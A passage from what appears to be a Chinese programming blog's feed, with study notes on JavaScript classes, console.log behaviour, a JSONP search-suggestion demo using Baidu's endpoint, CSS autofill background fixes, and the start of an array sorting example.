公有say方法&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//静态属性、静态方法</span></span><br><span class="line">    <span class="keyword">static</span> names = <span class="string">`我是 Person类 中的 静态属性`</span>;</span><br><span class="line">    <span class="keyword">static</span> <span class="title function_">staticSay</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">`我是 Person类 中的 静态方法，只能在 Person作为对象时，通过属性访问运算符&#x27;.&#x27; 使用。`</span></span><br><span class="line">    &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//在 Person对应的 原型对象上 添加 公有属性color</span></span><br><span class="line"><span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">color</span> = <span class="string">&#x27;red&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> p1 = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;Ronda&#x27;</span>, <span class="number">22</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(p1.<span class="property">temp</span>);  <span class="comment">// briup</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(p1.<span class="title function_">hasOwnProperty</span>(<span class="string">&#x27;temp&#x27;</span>));  <span class="comment">// true 【写在constructor之外的temp为 实例属性，并非其 原型对象上的 公有属性】</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(p1.<span class="property">__proto__</span>.<span class="title function_">hasOwnProperty</span>(<span class="string">&#x27;temp&#x27;</span>));  <span class="comment">// false  实例化对象p1的 原型对象上没有temp属性</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="title function_">say</span>());  <span class="comment">// ‘我是Person对应的 原型对象上的 公有say方法’</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title class_">Person</span>.<span class="property">names</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title class_">Person</span>.<span class="title function_">staticSay</span>());</span><br></pre></td></tr></table></figure><h3 id="关于-实例属性的-补充："><a href="#关于-实例属性的-补充：" class="headerlink" title="关于 实例属性的 补充："></a>关于 实例属性的 补充：</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">People</span>&#123;</span><br><span class="line">  num = <span class="number">1</span>;</span><br><span class="line">  <span class="title function_">constructor</span>(<span class="params">num</span>)&#123;  </span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">num</span> = num;</span><br><span class="line">  &#125;</span><br><span class="line">  num = <span class="number">3</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> people = <span class="keyword">new</span> <span class="title class_">People</span>(<span class="number">2</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(people.<span class="property">num</span>);  <span class="comment">// 2</span></span><br></pre></td></tr></table></figure><p>等同于</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">People</span>&#123;</span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">num</span>)&#123;  </span><br><span class="line">   <span class="comment">//不论在类内部哪里定义num属性，在constructor都会提前</span></span><br><span class="line">   <span class="variable language_">this</span>.<span class="property">num</span> = <span class="number">1</span>;</span><br><span class="line">   <span class="variable language_">this</span>.<span class="property">num</span> = <span class="number">3</span>;</span><br><span class="line"></span><br><span class="line">   <span class="variable language_">this</span>.<span class="property">num</span> = num;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="class中的继承"><a href="#class中的继承" class="headerlink" title="class中的继承"></a>class中的继承</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Student</span> &#123;</span><br><span class="line">    <span class="title function_">constructor</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line">        <span class="comment">// 在里面写的属性和方法 会挂载到 实例对象上</span></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">work</span> = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;work..&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//  在constructor外面写的方法 会挂载在 原型对象上</span></span><br><span class="line">    <span class="title function_">say</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;say..&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">let</span> stu = <span class="keyword">new</span> <span class="title class_">Student</span>(<span class="string">&#x27;张三&#x27;</span>, <span class="number">18</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(stu);<span class="comment">// Student &#123;name: &#x27;张三&#x27;, age: 18, work: ƒ&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 继承使用的关键字 extends、super</span></span><br><span class="line"><span class="comment">// 声明一个班长类 班长类去继承学生类的一些属性</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Monitor</span> <span class="keyword">extends</span> <span class="title class_ inherited__">Student</span> &#123;</span><br><span class="line">    <span class="title function_">constructor</span>(<span class="params">name, age, id</span>) &#123;</span><br><span class="line">        <span class="variable language_">super</span>(name, age);<span class="comment">// super调用父类的构造函数</span></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">id</span> = id;<span class="comment">//增加自己的 实例属性</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 父类的 公有属性和私有属性 都可以被继承</span></span><br><span class="line"><span class="keyword">let</span> mon1 = <span class="keyword">new</span> <span class="title class_">Monitor</span>(<span class="string">&#x27;李四&#x27;</span>, <span class="number">18</span>, <span class="number">01</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(mon1);<span class="comment">// Monitor &#123;name: &#x27;李四&#x27;, age: 18, id: 1, work: ƒ&#125;</span></span><br><span class="line">mon1.<span class="title function_">say</span>();<span class="comment">// say..</span></span><br></pre></td></tr></table></figure><p><a href="https://blog.csdn.net/qq_51066068/article/details/124705885#t7">关于super关键字，详见ES6中Class类构造函数、实例、原型属性和方法、继承extends、super关键字_es6中类的原型属性和原型方法_The..Fuir的博客-CSDN博客</a> </p><h2 id="class的set设置器和get访问器"><a href="#class的set设置器和get访问器" class="headerlink" title="class的set设置器和get访问器"></a>class的set设置器和get访问器</h2><p>get 关键字将对象属性与函数进行绑定,当属性被访问时,对应函数被执行。</p><p>set 关键字将对象属性与函数进行绑定,当属性被赋值时,对应函数被执行。</p><p>【注意：实例对象的 属性名，与绑定该属性的 函数名 不能 同名】</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Student</span> &#123;</span><br><span class="line">    <span class="title function_">constructor</span>(<span class="params">address, age</span>) &#123;</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_address</span> = address;</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">age</span> = age</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 设置器和访问器</span></span><br><span class="line">    <span class="keyword">get</span> <span class="title function_">address</span>() &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;get启用了&#x27;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_address</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">set</span> <span class="title function_">address</span>(<span class="params">value</span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;set启用了&#x27;</span>);</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_address</span> = value</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">let</span> stu = <span class="keyword">new</span> <span class="title class_">Student</span>(<span class="string">&#x27;北京&#x27;</span>, <span class="number">18</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(stu.<span class="property">address</span>);<span class="comment">//不加下划线 相当于通过get set去访问【输出“get启用了  北京”】</span></span><br><span class="line"><span class="comment">// console.log(stu._address); //加上下划线 相当于是正常的属性访问</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// stu.address = &#x27;上海&#x27;;</span></span><br><span class="line"><span class="comment">// stu._address = &#x27;上海&#x27;; //加上下划线，是正常的修改属性值</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(stu);</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>console.log(obj)探讨</title>
      <link href="/posts/console-log-obj-tan-tao/"/>
      <url>/posts/console-log-obj-tan-tao/</url>
      
        <content type="html"><![CDATA[<p>1.Log (anObject)的输出具有误导性; 只有在控制台中展开 &gt; 时才能解析显示的对象的状态。它不是您在 console.log 对象时对象的状态。<br>相反，尝试 console.log (Object.keys ()) ，或者甚至console.log(JSON.parse(JSON.stringify(obj))) ，您将看到键，或者调用 console.log 时对象的状态。<br>2.来自 MDN：“不要使用console.log(obj)，使用console.log(JSON.parse(JSON.stringify(obj)))。这样你就可以确定你obj在记录它的那一刻看到了它的价值。否则，许多浏览器提供了一个实时视图，随着值的变化而不断更新。这可能不是你想要的想。” <a href="https://developer.mozilla.org/en-US/docs/Web/API/Console/log">developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Console&#x2F;log</a> – 拉菲</p><h2 id="详见："><a href="#详见：" class="headerlink" title="详见："></a>详见：</h2><p><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Console/log">console.log - Web API 接口参考 | MDN</a><br><a href="https://stackoverflow.com/questions/17546953/cant-access-object-property-even-though-it-shows-up-in-a-console-log/39606500">javascript - Can’t access object property, even though it shows up in a console log - Stack Overflow</a></p><h2 id="我的理解（可能有误，仅当参考）："><a href="#我的理解（可能有误，仅当参考）：" class="headerlink" title="我的理解（可能有误，仅当参考）："></a>我的理解（可能有误，仅当参考）：</h2><p>1.如下图，只有在控制台点击“箭头”后，里面看到的 才是 对象当前状态的 真实值。若只能console.log()输出，而无法 点击。就使用Object.keys(obj)打印 对象 实时存在 的key。<br><img src="/posts/console-log-obj-tan-tao/1.webp" alt="console.log(obj)探讨-1"></p><div class="tip sync"><p>问题：在学习koa时ctx.request中 log 出来并没有body属性，使用let { body } &#x3D; ctx.request 可以取出请求体body，请问原理是什么呢？正常来讲不应该是 ctx.request中存在body这个key才能取出值来么？</p></div><p>同理：</p><p>console.log(Object.keys(ctx.request));</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//打印结果如下，可见ctx.request对象实际是由body属性的，只是当时log的不是 真实值。</span></span><br><span class="line">[ <span class="string">&#x27;app&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;req&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;res&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;ctx&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;response&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;originalUrl&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;body&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;rawBody&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;params&#x27;</span> ]</span><br></pre></td></tr></table></figure><p>而直接console.log(ctx.request)只能拿到 请求报文，是拿不到对象的真实值的：<br><img src="/posts/console-log-obj-tan-tao/2.webp" alt="console.log(obj)探讨-2"><br>2.若想获得 log 那一刻，obj 当时的 值，可以console.log(JSON.parse(JSON.stringify(obj)))。【未验证】</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> koa </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>联想搜索之百度Jsonp</title>
      <link href="/posts/lian-xiang-sou-suo-zhi-bai-du-jsonp/"/>
      <url>/posts/lian-xiang-sou-suo-zhi-bai-du-jsonp/</url>
      
        <content type="html"><![CDATA[<h2 id="什么是-回调函数？"><a href="#什么是-回调函数？" class="headerlink" title="什么是 回调函数？"></a>什么是 回调函数？</h2><p>在 JavaScript 中，回调函数是指将一个函数作为参数传递给另一个函数，以在某些操作完成后通知调用者。当操作完成时，被调用的函数（即回调函数）将被调用，以执行某些指定的操作或返回一些数据。回调函数通常被用来处理异步操作，如定时器、Ajax 请求、事件处理器等。</p><h2 id="什么是-JSONP-？"><a href="#什么是-JSONP-？" class="headerlink" title="什么是 JSONP ？"></a>什么是 JSONP ？</h2><p>JSONP（JSON with Padding）是一种通过在页面中 动态创建<code>script标签</code>，以实现跨域请求数据的技术。它是一种基于 回调函数的技术，它可以绕过浏览器的同源策略，使得页面可以请求来自不同域名的数据。</p><p>在使用 JSONP 技术时，需要在页面中 动态创建一个<code>script标签</code>，并 将请求的 URL 包装在一个回调函数中。服务器在返回数据时，将数据作为回调函数的参数返回，这样浏览器就可以直接执行该函数，并将数据作为函数的参数进行处理。</p><p>JSONP 的优点是它可以绕过浏览器的同源策略，可以请求来自不同域名的数据，而不会因为跨域而受到限制。缺点是它只支持 GET 请求，并且请求的数据需要由服务器来控制和返回，因此它的灵活性和安全性相对较低。此外，由于 JSONP 依赖于回调函数，在处理复杂的请求时，可能会导致代码难以维护和调试。</p><h2 id="能通过JSONP获取数据的接口-需要有什么条件？"><a href="#能通过JSONP获取数据的接口-需要有什么条件？" class="headerlink" title="能通过JSONP获取数据的接口 需要有什么条件？"></a>能通过JSONP获取数据的接口 需要有什么条件？</h2><h3 id="1-支持-回调函数："><a href="#1-支持-回调函数：" class="headerlink" title="1.支持 回调函数："></a>1.支持 回调函数：</h3><p>JSONP 的原理是通过在页面中动态创建<code>script标签</code>来请求数据，因此接口返回的数据必须以 JavaScript 函数的形式返回，这个函数名一般是通过 URL 参数传递的。</p><h3 id="2-跨域请求："><a href="#2-跨域请求：" class="headerlink" title="2.跨域请求："></a>2.跨域请求：</h3><p>由于浏览器的同源策略限制，一般情况下只能在同域名、同协议、同端口下进行 AJAX 请求。而 JSONP 利用了动态创建<code>script标签</code>不受同源策略的限制，因此可以实现跨域请求。但是，需要注意的是 JSONP 也有安全性问题，因为它依赖于服务端返回的 JavaScript 代码，因此需要确保接口的可信度。</p><p>总之，JSONP 只适用于特定的接口，而不是适用于所有请求文件。如果接口不支持回调函数或者跨域请求，那么就不能使用 JSONP 技术。</p><h2 id="基础就这些，，，进入正题："><a href="#基础就这些，，，进入正题：" class="headerlink" title="基础就这些，，，进入正题："></a>基础就这些，，，进入正题：</h2><p>先上百度接口 <a href="https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su?wd=">https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su?wd=</a></p><p>wd 为搜索关键词，</p><p>cb 比较特殊，是 提前为 回调函数 定义好的 缩写，作为查询字符串的 键值。此时 直接返回自定义函数名 fn。</p><p><img src="/posts/lian-xiang-sou-suo-zhi-bai-du-jsonp/1.webp" alt="联想搜索之百度jsonp-1"></p><p> 若 不使用 cb 作为 回调函数的 键名，比如设定为 callBack，此时返回的是 挂载在window上的baidu对象中的sug方法。（如下），</p><p><img src="/posts/lian-xiang-sou-suo-zhi-bai-du-jsonp/2.webp" alt="联想搜索之百度jsonp-2"></p><div class="tip cogs"><p>我对script标签src请求接口，并引入js资源的理解：</p></div><p>通过此种方式等同于直接引入一个js模块（同cdn引入第三方库），该文件的js代码相当于直接插入到当前文件，当然可以执行其中的代码。</p><p>接口分析：目前接口中是一个 执行语句。调用了一个函数，（自定义函数fn、或者是window.baidu对象中的sug方法），给该函数 传递 了一个 对象 作为 实参。也就是说，通过src直接在当前文件中插入了 一个执行语句（携带有实参的函数）。</p><div class="tip sync"><p>重点是，需要在当前文件中提前 声明 该函数 以备通过src引入执行语句后 立即执行fn、或者是window.baidu对象中的sug方法（抛出实参，或进一步加工数据）</p></div><p>若 script标签 还没有返回 接口提供的 js执行语句，该函数不会被执行。也就是说，在 渲染data 之前，加工数据的执行语句 会一直 等待执行。。。。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//针对于cb回调：</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//声明 回调函数 fn</span></span><br><span class="line">      </span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data.<span class="property">s</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//针对于 callBack：</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//声明 回调函数（与返回函数相对应，window.baidu对象的sug方法）</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">window</span>.<span class="property">baidu</span> = &#123;</span><br><span class="line">    <span class="attr">sug</span>: <span class="keyword">function</span> (<span class="params">data</span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(data.<span class="property">s</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是 主要代码：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> searchEle = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;search&#x27;</span>);</span><br><span class="line">searchEle.<span class="title function_">addEventListener</span>(<span class="string">&#x27;input&#x27;</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">    <span class="title function_">scriptFn</span>(<span class="variable language_">this</span>.<span class="property">value</span>, <span class="string">&#x27;fn&#x27;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">scriptFn</span>(<span class="params">value, callBack</span>) &#123;</span><br><span class="line">    <span class="comment">// append()无法将字符串解析为dom节点，使用append添加节点，不能使用将script标签放入``反义字符串中</span></span><br><span class="line">    <span class="keyword">let</span> scriptEle = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&#x27;script&#x27;</span>);</span><br><span class="line">    scriptEle.<span class="property">src</span> = <span class="string">&#x27;https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su?wd=&#x27;</span> + value + <span class="string">&#x27;&amp;cb=&#x27;</span> + callBack;</span><br><span class="line">    <span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">append</span>(scriptEle);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>console.log(data.s) 打印得到的数据：</p><p><img src="/posts/lian-xiang-sou-suo-zhi-bai-du-jsonp/3.webp" alt="联想搜索之百度jsonp-3"></p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>将文本框默认背景重置为白色</title>
      <link href="/posts/jiang-wen-ben-kuang-mo-ren-bei-jing-chong-zhi-wei-bai-se/"/>
      <url>/posts/jiang-wen-ben-kuang-mo-ren-bei-jing-chong-zhi-wei-bai-se/</url>
      
        <content type="html"><![CDATA[<h2 id="关于autofill伪类的-兼容性："><a href="#关于autofill伪类的-兼容性：" class="headerlink" title="关于autofill伪类的 兼容性："></a>关于autofill伪类的 兼容性：</h2><p>在现代浏览器中，包括Chrome、Safari、Firefox等，都支持:autofill伪类，但在使用时必须加上浏览器前缀-webkit-，即:-webkit-autofill。</p><p>在旧版的浏览器中，可能不支持:autofill伪类，需要使用其他的hack方法来实现。同时，不同浏览器也可能对:-webkit-autofill的支持程度不同，需要根据实际情况来选择合适的hack方法。</p><p>经测试，貌似不用-webkit-autofill也可以。某些情境下可能需要使用 :-webkit-autofill伪类。具体情况，具体分析。【以下 方法中的 属性值 最好都加 “! important”，以绝后患！】</p><h3 id="方法一-box-shadow"><a href="#方法一-box-shadow" class="headerlink" title="方法一:box-shadow"></a>方法一:box-shadow</h3><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">input</span>:-webkit-autofill &#123;</span><br><span class="line">    <span class="attribute">color</span>: transparent;</span><br><span class="line">    <span class="attribute">background-clip</span>: content-box;</span><br><span class="line">    <span class="attribute">background-color</span>: white;</span><br><span class="line">    <span class="attribute">caret-color</span>: black;</span><br><span class="line">    <span class="comment">/*光标设置为 黑色*/</span></span><br><span class="line"><span class="comment">/*上面根据具体情境 可选，box-shadow最重要！！*/</span></span><br><span class="line">-webkit-<span class="attribute">box-shadow</span>: <span class="number">0</span> <span class="number">0</span> <span class="number">0</span> <span class="number">1000px</span> white inset <span class="meta">!important</span>;</span><br><span class="line"><span class="attribute">box-shadow</span>: <span class="number">0</span> <span class="number">0</span> <span class="number">0</span> <span class="number">1000px</span> white inset <span class="meta">!important</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="方法二-webkit-text-fill-color-和-transition-background-color-5000s-ease-in-out-0s"><a href="#方法二-webkit-text-fill-color-和-transition-background-color-5000s-ease-in-out-0s" class="headerlink" title="方法二:-webkit-text-fill-color 和 transition: background-color 5000s ease-in-out 0s;"></a>方法二:-webkit-text-fill-color 和 transition: background-color 5000s ease-in-out 0s;</h3><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">input</span> &#123;</span><br><span class="line">    <span class="comment">/*必须为background-color属性(即便这里没有设置background-color)、或all 加上 过渡效果，不然不会生效！！*/</span></span><br><span class="line">-webkit-<span class="selector-tag">text</span>-<span class="attribute">fill</span>-<span class="attribute">color</span>: <span class="number">#333333</span> <span class="meta">!important</span>;</span><br><span class="line"><span class="attribute">transition</span>: background-color <span class="number">5000s</span> ease-in-out <span class="number">0s</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="方法三-background-color-和-transition-background-color-5000s-ease-in-out-0s"><a href="#方法三-background-color-和-transition-background-color-5000s-ease-in-out-0s" class="headerlink" title="方法三:background-color 和 transition: background-color 5000s ease-in-out 0s;"></a>方法三:background-color 和 transition: background-color 5000s ease-in-out 0s;</h3><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">input</span> &#123;</span><br><span class="line">    <span class="comment">/*必须为background-color属性、或all 加上 过渡效果，不然不会生效！！*/</span></span><br><span class="line">  <span class="attribute">background-color</span>: white <span class="meta">!important</span>;</span><br><span class="line">  <span class="attribute">transition</span>: background-color <span class="number">5000s</span> ease-in-out <span class="number">0s</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="啰嗦一下："><a href="#啰嗦一下：" class="headerlink" title="啰嗦一下："></a>啰嗦一下：</h4><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 三合一，遇到问题再调整 */</span></span><br><span class="line"><span class="selector-tag">input</span>:-webkit-autofill &#123;</span><br><span class="line">    <span class="attribute">box-shadow</span>: <span class="number">0</span> <span class="number">0</span> <span class="number">0</span> <span class="number">30px</span> white inset <span class="meta">!important</span>;</span><br><span class="line">    -webkit-<span class="selector-tag">text</span>-<span class="attribute">fill</span>-<span class="attribute">color</span>: <span class="number">#333333</span> <span class="meta">!important</span>;</span><br><span class="line">    <span class="attribute">background-color</span>: white <span class="meta">!important</span>;</span><br><span class="line">    <span class="attribute">transition</span>: background-color <span class="number">5000s</span> ease-in-out <span class="number">0s</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> css </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>最值与排序</title>
      <link href="/posts/zui-zhi-yu-pai-xu/"/>
      <url>/posts/zui-zhi-yu-pai-xu/</url>
      
        <content type="html"><![CDATA[<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> temp = <span class="number">0</span>; </span><br><span class="line"><span class="keyword">var</span> arr = [<span class="number">98</span>, <span class="number">98</span>, <span class="number">99</span>, <span class="number">96</span>, <span class="number">102</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式一：Array.sort()升序</span></span><br><span class="line">arr.<span class="title function_">sort</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> &#123; </span><br><span class="line">     <span class="keyword">return</span> a - b;<span class="comment">//降序 是 b-a</span></span><br><span 